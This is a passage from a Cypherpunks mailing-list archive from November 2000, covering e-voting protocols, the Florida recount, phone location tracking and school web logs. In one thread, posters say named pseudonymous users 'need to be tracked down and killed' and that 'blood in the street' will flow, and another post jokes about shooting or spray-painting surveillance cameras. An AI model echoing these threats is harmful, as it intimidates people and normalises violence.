Massachusetts, but I'm registered in Nevada. My absentee ballot contains numerous NV state questions which I'd like to vote on; a registration here in MA would not be the same. In my case, I'm a transplant to Nevada - I don't actually have strong opinions on most of the state questions (with some specific exceptions). For someone who lived in one state for most of his or her life, then left for school in another, however, absentee balloting seems to have a stronger case. -David Molnar From devegili at inf.ufsc.br Fri Nov 10 15:40:29 2000 From: devegili at inf.ufsc.br (Augusto Jun Devegili) Date: Fri, 10 Nov 2000 21:40:29 -0200 Subject: CDR: Re: A secure voting protocol References: Message-ID: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> ----- Original Message ----- From: "Tim May" To: Sent: Friday, November 10, 2000 9:11 PM Subject: CDR: Re: A secure voting protocol > The problems with these protocols are obvious to all who have looked > at these things over the years: > * most voters, at least 99% of them, will not understand or trust or > bother with the protocols [Augusto] Well... how many people don't understand SSL and still use it for home banking? > * the steps will of course all be automated into some WindowsMe or > Mac client called "MyVote." This package will itself not be trusted > by most people. [Augusto] Code signing might be an option, but (a) who is going to sign the code (governement, parties, independent organizations, all of them), and (b) how is this code signature *securely* verified? > * the large fraction of people who are not computer literate, or who > don't own a PC, etc. will have to use someone else's PC or terminal. > This then raises all the usual issues about their blinding numbers, > passphrases, keystrokes, etc., being captured or manipulated by > someone else. [Augusto] One can still maintain public sites for casting votes, using the same "MyVote" system and identifying themselves with smartcards. > Physical ballot voting has its problems, but at least people > _understand_ the concept of marking a ballot, as opposed to "blinding > the exponent of their elliptic curve function and then solving the > discrete log problem for an n-out-of-m multi-round tournament." [Augusto] Same as above [SSL]. > Further, people can _watch_ their ballots going into a voting box, a > "mix." I know I watch my ballot going in. And while it is _possible_ > for secret cameras to be videotaping my choices, or for DNA from my > fingers being able to "mark" my ballot, I understand from basic > economic and ontologic issues that these measures are very unlikely. > This assurance doesn't exist with the protocol described above. Some > folks will think their protocol failed, some will think there is a > "backdoor" for seeing how they voted, some will think their are not > adequate methods for auditing or double-checking the protocols. > > I would not trust such a system, or be willing to take night school > classes in crypto and higher math in order to begin to understand the > system...so imagine what other folks will think. > > It won't happen in our lifetimes. It may happen in European nations, > but only because the average citizen does what he is told to do more > so than American paranoids and individualists will do. [Augusto] I would like to see this happening after the scientific/academic community approves a secure protocol and its implementation architecture. And I also understand that it will be quite hard to convince the general voter of the security of e-voting. Regards, Augusto Jun Devegili From commerce at home.com Fri Nov 10 19:37:12 2000 From: commerce at home.com (Me) Date: Fri, 10 Nov 2000 22:37:12 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! References: Message-ID: <03c301c04b90$ae2666e0$0100a8c0@matthew> ----- Original Message ----- From: "Ray Dillinger" > I'm reasonably sure that a three-way shooting war between sports > car enthusiasts, denture wearers, and shoe salesmen would make Tim > just as happy as a race riot. Almost anything that carries fear > and confusion to the sheeple would get Tim's approval, I think. It seems more likely that he would be indifferent unless the car enthusiasts were Chrysler executives, the dentures were bought with social security cheques, and the shoe salesman had petitioned city council to prevent the opening of a PayLess warehouse. From mnorton at cavern.uark.edu Fri Nov 10 20:48:59 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Fri, 10 Nov 2000 22:48:59 -0600 (CST) Subject: CDR: Re:Greetings from ZOG-occupied Palestine In-Reply-To: <200011110429.UAA11042@user3.hushmail.com> Message-ID: Of course, ladies and gentlemen, we all know this is hyperbole and not intended as a true threat. MacN On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: > We thought you knew it all Tim. > You better lock and load Tim. > ZOG (California chapter) lives and they are close. > > > At 10:53 PM 11/10/00 , Tim May wrote: > > > >At 8:34 PM -0600 11/10/00, Phaedrus wrote: > >>On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: > >> > >>> Tim May, the heavily armed hate monger who refers to ZOG, and , his > extreme > >>> right wing malitia friends have missed their chance. > >>> Certainly the 400 of us needed killing before we influence the American > >>> Presidential election. > >> > >>actually, since ballots were supposed to be postmarked two days ago, > >>killing you now wouldn't help (even if I were for it, which I'm not, > >>personally) unless something very bad were going on.... > > > >I'm not so sure...killing auto 9950013 at hushmail.com may still be > >useful. I think I know who george at orwellian.org is, based on text > >comparisons. My guess is that both of them need to be tracked down > >and killed. > > > >Allah will know his own. > > From anmetet at mixmaster.shinn.net Fri Nov 10 20:11:05 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Fri, 10 Nov 2000 23:11:05 -0500 Subject: CDR: SprintUs plan to use chips to track cell phones stirs privacy concerns Message-ID: <77713afb2a31cf7ad4d269d010de1981@mixmaster.shinn.net> Some worry that information could get into the wrong hands By Nicole Harris THE WALL STREET JOURNAL J J Nov. 10 Q JSprint Corp.Us wireless division said it will put global-positioning-system chips in its cell phones to locate its users, stirring up hot-button privacy concerns that the popular consumer items could become homing devices. The national wireless carrier is making the move Q starting the middle of next year Q to fulfill a federal mandate that all wireless service providers be able to pinpoint the location of a wireless 911 call within 100 feet by October 2001. J J J J JTHE AIM IS to solve a problem that has frustrated cell-phone users and safety officials alike: There is no way to determine quickly the exact origin of a wireless 911 call. J J J JThursday marked the deadline for the nationUs carriers to report to the Federal Communications Commission just how they would meet the mandate. Cell-phone operators can opt to install tracking software in their wireless networks, have phones include a chip with GPS technology, or a combination of the two. In a filing with the FCC, Verizon Wireless, the nationUs largest carrier, said it planned to use a network-based solution to meet the mandate. J J J JOnce the cell-phone companies get the technology in place, a host of so-called location-based services are sure to follow. In fact, these offerings such as printed driving directions, or say, finding the closest Burger King, are at the center of the wireless industryUs next big hope: the wireless Internet. J J J JBut privacy advocates warn there are too many risks that the data could wind up in the wrong hands, as well as several unanswered questions regarding how consumers will be notified about the use of the information, and how carriers will collect and store the data. While the carriers say they will be the only ones with the ability to track calls, the concern is that the information could get into the wrong hands because the tracking device will be leaving a trail of electronic footprints. J J J JRThe thing that worries me is that your phone could become a tracking device,S said Kurt Wimmer, an attorney that follows privacy issues for the London offices of Covington & Burling. J J J JThat could be a particular concern for carriers that decide to go with a GPS-technology solution. That is because the FCC requires 67% of position-enabled handsets must be locatable to within 50 meters, or 55 yards, giving a more-exact location. Under controlled trial conditions earlier this year, Sprint was able to locate this percentage of test calls to less than 30 meters. J J J J Other experts are concerned about consumersU right to choose if they even want such location data to be generated. RThe consumer has to have some rights as to how the information is collected and how itUs used,S said David Sobel, general counsel for the Electronic Privacy Information Center in Washington. Mr. Sobel says he is preparing for a public session hosted by the Federal Trade Commission to be held in December on wireless location privacy issues. J J J JStill, Oliver Valente, Sprint PCSUs chief technology officer, insists the Westwood, Kan., company will do its part to protect the privacy of its customers. He said Sprint is exploring ways to allow users to turn the 911 location-tracking device off at the push of a button, a feature that privacy experts such as Mr. Wimmer applaud. J J J JRWe will make sure consumer information is protected,S said Mr. Valente, adding that phones with the new feature wonUt hit the market until the second half of next year. J J J JBut Sprint already is dreaming up ways to say, offer consumer coupons to a local Pizza Hut, if the customer is in the vicinity of a restaurant. But Mr. Valente says Sprint wonUt give up the consumerUs location information to a third party. RWe could deliver the offer without the third party ever knowing where the consumer was and it would be totally opt in on the consumersU part.S From auto9950013 at hushmail.com Fri Nov 10 20:22:00 2000 From: auto9950013 at hushmail.com (auto9950013 at hushmail.com) Date: Fri, 10 Nov 2000 23:22:00 -0500 (EST) Subject: CDR: Re:Greetings from ZOG-occupied Palestine Message-ID: <200011110429.UAA11042@user3.hushmail.com> We thought you knew it all Tim. You better lock and load Tim. ZOG (California chapter) lives and they are close. At 10:53 PM 11/10/00 , Tim May wrote: > >At 8:34 PM -0600 11/10/00, Phaedrus wrote: >>On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: >> >>> Tim May, the heavily armed hate monger who refers to ZOG, and , his extreme >>> right wing malitia friends have missed their chance. >>> Certainly the 400 of us needed killing before we influence the American >>> Presidential election. >> >>actually, since ballots were supposed to be postmarked two days ago, >>killing you now wouldn't help (even if I were for it, which I'm not, >>personally) unless something very bad were going on.... > >I'm not so sure...killing auto 9950013 at hushmail.com may still be >useful. I think I know who george at orwellian.org is, based on text >comparisons. My guess is that both of them need to be tracked down >and killed. > >Allah will know his own. > From anmetet at mixmaster.shinn.net Fri Nov 10 21:41:03 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Sat, 11 Nov 2000 00:41:03 -0500 Subject: CDR: Ruling Says Parents Have Right to See List of Sites Students Visit Message-ID: <153b2d286859d29cf41b9656850c4f24@mixmaster.shinn.net> By CARL S. KAPLAN In an opinion sure to heighten the tension between some parents and school systems over the Internet's role in publicly financed education, a New Hampshire judge has decided that a parent is entitled to see a list of the Internet sites or addresses visited by computer users at local schools. Unless overturned on appeal, the ruling by Judge Gillian L. Abramson of Rockingham Country Superior Court means that James M. Knight of Exeter, N.H., who brought the lawsuit last summer, may review a copy of the "Internet history log" files from computers maintained by two local school districts. The computer disk files contain a record of Internet sites visited by computer users -- students, staff, faculty -- within the Exeter Region Cooperative School District and the Exeter School District. Significantly, in an attempt to protect individual students' privacy, the court said that the schools must write a computer program that removes user names and passwords from the Internet History Log files before making the Web site lists available to Knight, which both sides agreed would be easy to do. In addition, the costs of the editing and the disk copying must be paid by Knight or any other person requesting the records, the court said. But "since the respondents have the capacity to produce the record in a manner that does not reveal confidential information," the judge said, the history log file "is not exempt" from the state's Right-to-Know law. Greg Kann, chairman of the Exeter Region Cooperative School Board, said in an interview that school board members would soon meet with their laywer and the superintendents to consider legal options. A decision on whether to appeal may be made as soon Friday, he said. Jon Meyer, a lawyer in Manchester, N.H., who has experience in education law and civil rights cases, said that the New Hampshire decision is the first he is aware of involving a parent's right to gain access to school Internet records. He predicted that if Judge Abramson's ruling is not overturned, anxious parents in other states might be emboldened to use local right-to-know laws to gain access to and review school Internet history log files to check on student online activity. Meyer also observed that one of the main issues in the Knight case was the balance between the values of privacy and disclosure. "It appears likely that the judge thought those issues could be reconciled" by editing out identifying personal information, he said. Knight, a master plumber whose four children had attended schools in the Exeter area two years ago before transferring to private schools, has been a vocal critic of the local school boards' decision not to require filtering or blocking software on school computers. Concerned that students were visiting pornographic or other inappropriate Web sites, he sought access to Internet history log files from 1998 -- the date when a majority of local students gained online access in schools -- to the present. The lever he used was the state's Right-to-Know law, which requires public documents to be disclosed on request. One of the key issues resolved by Judge Abramson's decision is whether history log files maintained by schools are "public records" under the disclosure law. School officials had argued in court papers that the files were private because students using school computers to access the Internet are not doing the official business of any public body. Rejecting this argument as "flawed," Judge Abramson said that students in schools are not using the computers for personal use "but as an integral part of the education curriculum." Thus the records of such official computer use must be deemed public, she asserted. In addition, she noted that New Hampshire law requires the school districts to adopt an appropriate acceptable use policy for the Internet. When the local schools implemented those policies, the history log files were created "pursuant to law" and therefore must be considered public documents, said the court. For his part, Knight, 44, said that he was "ecstatic" over the ruling. He said he hopes to review the school log files next week if possible. "My request was reasonable," he said. "How else can a parent critique or decide if a site is appropriate for students unless you can get access?" Knight also said that he had recently received e-mails from people in California, Utah, Colorado and Nevada who were interested in possibly filing their own lawsuits to get access to Internet history log files maintained by schools that do not offer filtering software. "They have the same concerns as I do," he said. One expert in education law who has been following the case was critical of the court's ruling. Julie Underwood, general counsel for the National School Boards Association, based in Alexandria, Va., said she was concerned that the New Hampshire school officials would release private information about students' online activities. "I don't think personally identifiable information in the Internet history log files can be easily redacted," she said. "You know, we have trained school districts not to release student files. And here they are forced to release information which they believe contains personally identifiable information on students." Underwood noted that at a technology and learning conference in Denver two weeks ago, representatives from school districts across the country expressed concern that they might soon come under pressure to release Internet student activity files. "Even if a school uses filtering software to block out some Web sites, the filtering software creates files, too, which may have to be released," she said. "That makes me nervous." Michael Sims, a computer programmer and critic of filtering software in schools and libraries, agreed that filtering software creates useful log files that record Web sites visited by students and Web sites that were requested but blocked. He said if Congress eventually passes a law requiring filtering software in schools and libraries, as seems likely, he would use state right-to-know laws to obtain the log files in an attempt to challenge the law and the validity of filter programs. "Absolutely, the precedent in New Hampshire will help us," he said. Two years ago Sims and other activists from The Censorware Project, through an administrative process, successfully gained access to Web site tracking information contained on school computers in Utah. The group wanted to see how often students at Utah schools, which employ blocking software, were denied access to what the group deemed to be worthwhile sites. From petro at bounty.org Sat Nov 11 01:04:14 2000 From: petro at bounty.org (petro) Date: Sat, 11 Nov 2000 01:04:14 -0800 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: Message-ID: >> It's called "Straight Party", and IIRC it is a box on the >>Missouri ballots. I *know* it was on the Illinois ballots. Saves dead >>people time you understand, they only have a limited amount of time. > >They removed it from the Illinois ballots 4 years ago. It now takes me 10 >times longer to vote. I voted in Illinois 4 years ago, and I remember seeing it. Then again, I only noticed it in passing, because if you voted straight party libertarian, you didn't get to vote against the incumbents in the races where there was no libertarian. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From bill.stewart at pobox.com Sat Nov 11 01:07:07 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 11 Nov 2000 01:07:07 -0800 Subject: CDR: Re: Re: A successful lawsuit means Gore wins! In-Reply-To: References: Message-ID: <3.0.5.32.20001111010707.00aee6f0@idiom.com> At 03:24 PM 11/10/00 -0600, Jim Choate wrote: > >On Fri, 10 Nov 2000, Trei, Peter wrote: >> This is covered by the Presidential Succession Act of 1947. See >> http://www.greatsource.com/amgov/almanac/documents/key/1947_psa_1.html > >Actualy it isn't. It's covered by the 20th amendment, section 3. The 20th Amendment was ratified in 1933. Therefore the 1947 law implements the " Congress may by law provide for the case" part of the 20th. (Unfortunately, the Postmaster General is fairly high up the list :-) The 20th does say that Congress can do whatever they want about it, so they could easily supersede the 1947 act. Anyway, Al Haig's in charge. >Looks to me like Congress could leave Bill in office until this mess is >over. Like I said, is this a new way to win a 3rd term? By the 23rd Amendment ("FDR Reoccurrance Prevention Amendment"), he can't be _elected_ to win a 3rd term - but that doesn't mean he can't be appointed, though .... What a bad idea that would be.... In general, the 23rd trumps previous amendments, as any newer law supersedes the older one, but it's not clear there's a conflict. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Sat Nov 11 01:09:34 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 11 Nov 2000 01:09:34 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <0011100547430F.02765@reality.eng.savvis.net> References: Message-ID: <3.0.5.32.20001111010934.00799e70@idiom.com> At 05:47 AM 11/10/00 -0600, Jim Burnes wrote: >I envision a day (background music swelling and eyes tearing slightly -- >an obvious Oscar moment) when it matters little who the President-elect is, >because DC is bound and emasculated by its original constitutional chains. >The day when the Pres has little more power than the Queen Mother. Somebody buy that man a beer! >That should be an easier problem to solve than getting people to accept >the validity of exotic crypto voting protocols. Yup. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Sat Nov 11 01:19:12 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 11 Nov 2000 01:19:12 -0800 Subject: CDR: Re: Greetins from ZOG-occupied Palestine In-Reply-To: References: <200011110211.SAA13037@user3.hushmail.com> Message-ID: <3.0.5.32.20001111011912.00adb770@idiom.com> At 08:34 PM 11/10/00 -0600, Phaedrus wrote: > >On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: > >> Tim May, the heavily armed hate monger who refers to ZOG, and , his extreme >> right wing malitia friends have missed there chance. So is "malitia" a bunch of bad soldiers? >> Certainly the 400 of us needed killing before we influence the American >> Presidential election. > >actually, since ballots were supposed to be postmarked two days ago, >killing you now wouldn't help (even if I were for it, which I'm not, >personally) unless something very bad were going on.... Yup. It's now in the hands of disgruntled Postal Workers. (And apparently there _has_ been a certain amount of malfeasance in handling the mail ballots, though it's not clear the P.O. were directly involved. And the Postmaster General's on the succession list, at least in the 1947 version.) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From honig at sprynet.com Fri Nov 10 22:35:30 2000 From: honig at sprynet.com (David Honig) Date: Sat, 11 Nov 2000 01:35:30 -0500 Subject: CDR: voting tech & radio buttons Message-ID: <3.0.6.32.20001110223236.0081de20@pop.sprynet.com> Intercepted in popmedia: Some dude of Shoup Corp which makes voting machines, or used to 21 years ago (there are no parts available), demonstrated that you can lock out choices after you've pulled one lever. Which would eliminate certain bozos double-punching their political-hollerith cards. What a concept. These days we call it a radio-button. [Actually a variant, "one-shot" kinda radio button in this case, because you can't rollback your vote. That's probably a deficiency, but it might be due to this barbarian mechanical tech making illegit rollbacks possible if you allow voter rollbacks.] I suppose various floridians would like a modal message box asking, You're voting for BROWNE (LIB), is this correct? [YES] [VOTE AGAIN] Much like crypto, its User interface, user interface, user interface... From hole1001 at pageice.com Sat Nov 11 01:21:10 2000 From: hole1001 at pageice.com (hole1001 at pageice.com) Date: Sat, 11 Nov 2000 04:21:10 -0500 Subject: CDR: !!Lenders COMPETE for your MORTAGE Loan!! -omfyqgxjrkb Message-ID: <7gav3a822jtd.ujg00u3o0d@ehemive.localhost> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 8679 bytes Desc: not available URL: From declan at well.com Sat Nov 11 01:30:51 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 04:30:51 -0500 Subject: CDR: Jim Bell [Was: Re: Where indeed is John Young?] In-Reply-To: <024001c04ace$fa6c64e0$0100a8c0@nandts>; from njohnson@interl.net on Thu, Nov 09, 2000 at 10:30:37PM -0600 References: <3.0.3.32.20001109210235.009e2408@ct2.nai.net> <024001c04ace$fa6c64e0$0100a8c0@nandts> Message-ID: <20001111043051.A20786@cluebot.com> Neil, That's not an unreasonable suspicion. A better source of Bellinfo might be, however, this: http://www.jya.com/jdbfiles.htm My suspicion -- it's too late in the evening for me to research thing -- is that the probation conditions applied before he was rearrested in 1998, imprisoned, and released. -Declan On Thu, Nov 09, 2000 at 10:30:37PM -0600, Neil Johnson wrote: > I was reviewing the files about Jim Bell via John's Web Site noticed one of > the conditions of his probation: > > (found at: http://www.parrhesia.com/jimbell/appeal1.txt ) > > 15. The defendant shall not possess or use address or locator computer > database files, such as DMV, voter registration, national phone > directories, real estate records, etc. > > I can't readily discern the time frame when his probation started, but it > appears that he is either still on probation, or has > just completed it. > > I'm basing this conclusion on another one of his probation conditions: > > 13. The defendant shall not possess or use a computer or use the Internet > without permission of the Probation Officer. > > Did he have permission ? > > Neil M. Johnson > njohnson at interl.net > http://www.interl.net/~njohnson > PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC > > ----- Original Message ----- > From: "Wilfred L. Guerin" > To: > Sent: Thursday, November 09, 2000 8:02 PM > Subject: CDR: Re: Where indeed is John Young? > > > > > > Given the reality and postings to the list, I wouldn't doubt the fbfeds or > > local police picked him up for pre-meditated stalking. > > > > Also of note, its a private sub division, and the info was posted publicly > > (observations) without auth from the people nor auth to inspect the > > property, among other things. Depends on state laws there. > > > > I dont see how people can be so blatently stupid, esp when they are > > expected to have a slight hint of competance... > > > > Why not call on the phone and ask them? But public statement of intent and > > then to actually go out there most definitely got someone arrested for > > being stupid. > > > > Why is the world being so dumb? > > > > Oh well. Lets hope its a quick review and fine, nothing more. (My personal > > statement was "dumba.." upon reading the 11/4 post...) > > > > -Wilfred > > Wilfred at Cryogen.com > > > > [ Because I have nothing better to do than laugh at woolies... ] > > > > At 08:27 PM 11/9/2000 -0500, you wrote: > > >Tim asked where John Young might be, in considering Jim Bell's > > predicament. I > > >notice that nothing new has been posted to Cryptome since Nov. 4. > > > > > >Why do I have a bad feeling about this? > > > > > > > > > > > > From CrimsonShroud at webtv.net Sat Nov 11 04:44:35 2000 From: CrimsonShroud at webtv.net (CrimsonShroud at webtv.net) Date: Sat, 11 Nov 2000 04:44:35 -0800 (PST) Subject: CDR: Greetings Message-ID: <23391-3A0D3F33-5346@storefull-135.iap.bryant.webtv.net> I stumbled upon your threads of interesting debates, and would like to ask if I could join in? Injustice everywhere, even in the saftey of our homes. The governments try to control everything.. practically wanting our souls. You know about the chip they put in people's hands or foreheads? It was prophecized in many religious books, and documents. The only true justice left in this world is those of us who fight the corrupt and malign megalomaniacs who call themselve's authority. We shouldnt put those who seek to destroy and control into power. What is the price of our souls, and emotions?! They hide behind cameras, satelites, and scapegoats.. and they demand us to submit.. hah. Government=Oppressive Slavery. Thanks for your time, and plz write back with your response. (aka. The Shroud) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 142 bytes Desc: signature URL: From bill.stewart at pobox.com Sat Nov 11 01:56:18 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 11 Nov 2000 04:56:18 -0500 Subject: CDR: Re: low tech surveillance-cam countermeasures in Israel In-Reply-To: <1c39b93665748747d0c9b4aeed32e3db@mixmaster.ceti.pl> Message-ID: <3.0.5.32.20001111015525.00ad46f0@idiom.com> At 01:37 PM 11/10/00 -0500, anonymous at openpgp.net wrote: >Hizbullah operatives seeking to block IDF cameras >(IsraelWire-11/10) Hizbullah guerilla forces are >stepping up their anti-Israel activities, including efforts >to block sophisticated IDF cameras installed along the >northern border. With the use of mirrors, Hizbullah is >working to block the effectiveness of the surveillance >cameras installed along the northern border. Lasers can be good too. >The cameras, mounted atop armored personnel carriers, >were deployed following the unilateral IDF withdrawal >from southern Lebanon in June. APCs do make it harder to use the traditional Anglo-American approaches techniques developed for speed-trap cameras, which involve ski masks and spray paint or baseball bats. But rifles can be fun. On the other hand, cameras keep getting cheap, and you can hide radio-equipped web-quality cameras for nearly no money anywhere you've got electricity, so getting all (or enough) of them can be harder. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From kerry at vscape.com Sat Nov 11 02:53:35 2000 From: kerry at vscape.com (Kerry L. Bonin) Date: Sat, 11 Nov 2000 05:53:35 -0500 Subject: CDR: Re: low tech surveillance-cam countermeasures in Israel Message-ID: <3.0.32.20001111025248.0487e490@shell13.ba.best.com> At 04:56 AM 11/11/00 -0500, Bill Stewart wrote: [snip] >On the other hand, cameras keep getting cheap, >and you can hide radio-equipped web-quality cameras >for nearly no money anywhere you've got electricity, >so getting all (or enough) of them can be harder. OTOOH, if you've a little money to invest, the optical reflection DSP techniques developed to detect sniper rifle scopes could be used to find cameras in large areas. (Laser reflected off spinning scanning mirror into target area, digitize reflected light and process to detect internal reflections of lens assemblies. Done right it can identify scope by make and model, mirror gives relative bearing to points of interest.) This technique should apply to everything but pinhole lenses, which aren't very useful for staring-eye type field surveillance. A simple commercial version of this is already available to sweep for hidden cameras in a small room type environment, scaling for large field use should be relatively simple with better optics and detectors. Its likely a few of the spooks on this list have used such equipment, its probably been deployed for a number of years now by the US. From ravage at einstein.ssz.com Sat Nov 11 05:34:25 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 11 Nov 2000 07:34:25 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <3.0.5.32.20001111010707.00aee6f0@idiom.com> Message-ID: On Sat, 11 Nov 2000, Bill Stewart wrote: > The 20th Amendment was ratified in 1933. Therefore the 1947 law > implements the " Congress may by law provide for the case" part of the 20th. No Bill, that's not what it means at all. The 1947 law requires there to already be a sitting President, it doesn't apply if the candidates haven't 'qualified'. It was at least partialy implemented to identify the chain of command in case of nuclear/devastating attack. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at einstein.ssz.com Sat Nov 11 05:52:41 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 11 Nov 2000 07:52:41 -0600 Subject: CDR: FindLaw: U.S. Constitution: Twentieth Amendment Message-ID: <3A0D4F29.CD32842C@ssz.com> http://caselaw.lp.findlaw.com/data/constitution/amendment20/ -- ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 11176 bytes Desc: not available URL: From tcmay at got.net Sat Nov 11 09:05:54 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 09:05:54 -0800 Subject: CDR: Re: Greetins from ZOG-occupied Palestine In-Reply-To: <3.0.5.32.20001111011912.00adb770@idiom.com> References: <200011110211.SAA13037@user3.hushmail.com> <3.0.5.32.20001111011912.00adb770@idiom.com> Message-ID: At 1:19 AM -0800 11/11/00, Bill Stewart wrote: >At 08:34 PM 11/10/00 -0600, Phaedrus wrote: > > >actually, since ballots were supposed to be postmarked two days ago, >>killing you now wouldn't help (even if I were for it, which I'm not, >>personally) unless something very bad were going on.... > >Yup. It's now in the hands of disgruntled Postal Workers. > >(And apparently there _has_ been a certain amount of malfeasance >in handling the mail ballots, though it's not clear the P.O. were >directly involved. And the Postmaster General's on the >succession list, at least in the 1947 version.) Speaking of malfeasance in handling the mailed ballots, I heard a Democrat spinmeister saying last night that foreign consulates can advise their local Americans that they can "sign an affidavit saying they tried to get a November 7th postmark but were unable to do so." He said: "Americans in other countries can still send in their ballots with a signed affidavit attesting that they had been unable to get a November 7th postmark." So, those FedExed ballots from Kosovo or Israel or China may not have been sent until...today. Hilarious. Things are falling apart better and with more acrimony than I'd hoped. Republicans are threatening to demand a recount of 22,000 (yes, more than in Palm Beach County) uncounted/spoiled ballots in a northern Florida county which went 60,000-to-40,000 for Bush over Gore. They expect that if these odds hold up, as expected, that Bush could pick up thousands of votes in this heavily Republican county. And so it goes, with recounts, judicial adjustments, do overs, and other such things requested in dozens, then hundreds, then thousands of counties. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at einstein.ssz.com Sat Nov 11 07:06:04 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 11 Nov 2000 09:06:04 -0600 (CST) Subject: CDR: Inferno: languages and codes... (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Sat, 11 Nov 100 10:21:53 -0600 (EST) From: CarlosGomes Reply-To: hell at ssz.com To: farmers at navigo.com;, hell at einstein.ssz.com;, bbeckwith at greenwichtech.com, madhu at chaganti.net Subject: Inferno: languages and codes... Want to obfuscate your talk about coding even further? How about coding with a Perl module that allows programs to be written in Latin? The original reference came to me through memepool.org... Perligata code -- A Greek algorithm in Latin #! /usr/local/bin/perl -w use Lingua::Romana::Perligata; maximum inquementum tum biguttam egresso scribe. meo maximo vestibulo perlegamentum da. da duo tum maximum conscribementa meis listis. dum listis decapitamentum da nexto fac sic nextum tum novumversum scribe egresso. lista sic hoc recidementum nextum cis vannementa da listis. cis. See the link for rationale (interesting from a linguistics p.o.v.), history, and coding examples: http://www.csse.monash.edu.au/~damian/papers/HTML/Perligata.html ymmv, C.G. -- Carlos Macedo Gomes gomes at navigo.com a Navigo Farmer _sic itur ad astra_ From George at Orwellian.Org Sat Nov 11 06:23:21 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 11 Nov 2000 09:23:21 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011111423.JAA09356@www9.aa.psiweb.com> FoxNewsChannel has announced George Dubya Bush will make a pre-emptive court strike by challenging manual recounts. This, following warning Gore not to challenge results in court. These recounts are provided by state law, and are not being done for any court. Bush's objection is that people are subject to corruption, unlike tabulating devices. Dubya's new motto: "I trust in machines, not people." From tcmay at got.net Sat Nov 11 09:39:27 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 09:39:27 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011111423.JAA09356@www9.aa.psiweb.com> References: <200011111423.JAA09356@www9.aa.psiweb.com> Message-ID: At 9:23 AM -0500 11/11/00, George at Orwellian.Org wrote: >FoxNewsChannel has announced George Dubya Bush will >make a pre-emptive court strike by challenging >manual recounts. This, following warning Gore not >to challenge results in court. > >These recounts are provided by state law, and are >not being done for any court. > >Bush's objection is that people are subject to >corruption, unlike tabulating devices. > >Dubya's new motto: "I trust in machines, not people." I trust more in machines for counting machine ballots than I trust in local politicians counting machine ballots. The Democrat Party is just trying to steal the election. Blood in the street is about to flow. No wonder the Democrat Party has been trying so hard to disarm us. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From emc at chao.insync.net Sat Nov 11 09:40:34 2000 From: emc at chao.insync.net (Eric Cordian) Date: Sat, 11 Nov 2000 09:40:34 -0800 (PST) Subject: CDR: Declan on Bell Message-ID: <200011111740.LAA48366@chao.insync.net> In a Wired News article, Declan reports: "In Bell's 1997, plea agreement, he admitted to owning chemicals that could be used to produce Sarin gas and to stink-bombing the carpet outside an IRS office." Yeah, and I own chemicals for making chlorine 